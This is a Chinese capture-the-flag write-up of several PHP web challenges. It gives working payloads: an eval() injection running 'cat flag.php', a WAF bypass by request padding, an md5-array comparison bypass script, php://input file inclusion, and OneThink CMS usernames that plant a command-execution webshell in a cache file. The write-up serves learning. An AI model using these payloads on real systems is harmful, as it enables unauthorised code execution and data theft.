爆破一:
打開網頁看到源代碼:
根據提示這題就是找變量的值,本想爆破,但不太現實。百度 php獲取變量的值 有個超全局數組 $GLOBALS
爆破二:
打開網頁看到源代碼:
看到了eval() 函數,想到命令執行
提示不在變量中,應該再flag.php中
Exp:
?hello=);system("cat flag.php");//
閉合前面,注釋后面
但有一個問題,就是會被i春秋自己的waf擋,我們改成post,然后傳一個參數,讓其值大約2萬個左右。
爆破三:
打開網頁看到源代碼:
有三個SESSION變量 nums:計數 time:記時 whoami:有個初始值 然后將$str_rands 生成的隨機字符賦值給它。
$str_rands 就是生成2位隨機的26字母
當滿足$_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0 ,nums+1
寫個腳本測試發現當md5(數組),條件即為真。
<?php error_reporting(0); $arr=$_GET['a']; if (substr(md5($arr),5,4)==0){ echo 'yes'; } else{ echo 'no'; } ?>
所以第一次訪問
http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a
后面依次傳值,10以上就行。
Python腳本:
#!usr/bin/env python #!coding=utf-8 __author__ = 'zhengjim' import requests aa = requests.session() code = aa.get('http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a').text # print code cc = code[:2] for i in xrange(10): url = 'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}'.format(cc[0],cc[1]) flag= aa.get(url=url).text cc = flag[:2] print flag
include:
看到allow_url_include開啟:
直接 php://input就行啦
先ls看有什么文件,然后cat。
zone:
沒寫出來。
參考:http://www.cnblogs.com/Mrsm1th/p/6600876.html
利用nginx 配置不當導致目錄遍歷下載漏洞。
onethink:
百度找到onethinnk的一個漏洞。
參考:http://www.hackdig.com/06/hack-36510.htm
就是注冊個賬號為:
%250a%24a%3d%24_GET%5ba%5d%3b%2f%2f%250aecho+%60%24a%60%3b%2f%2f的賬號, 但因為賬號長度有限制。所以分別兩個來注冊
賬號一:%0a$a=$_GET[a];//
賬號二:%0aecho `$a`;//
用burp來改包,不然會失敗。
依次登入,也要用burp來改包登入。
然后訪問/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php
查找下flag位置 cat就行了。
/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php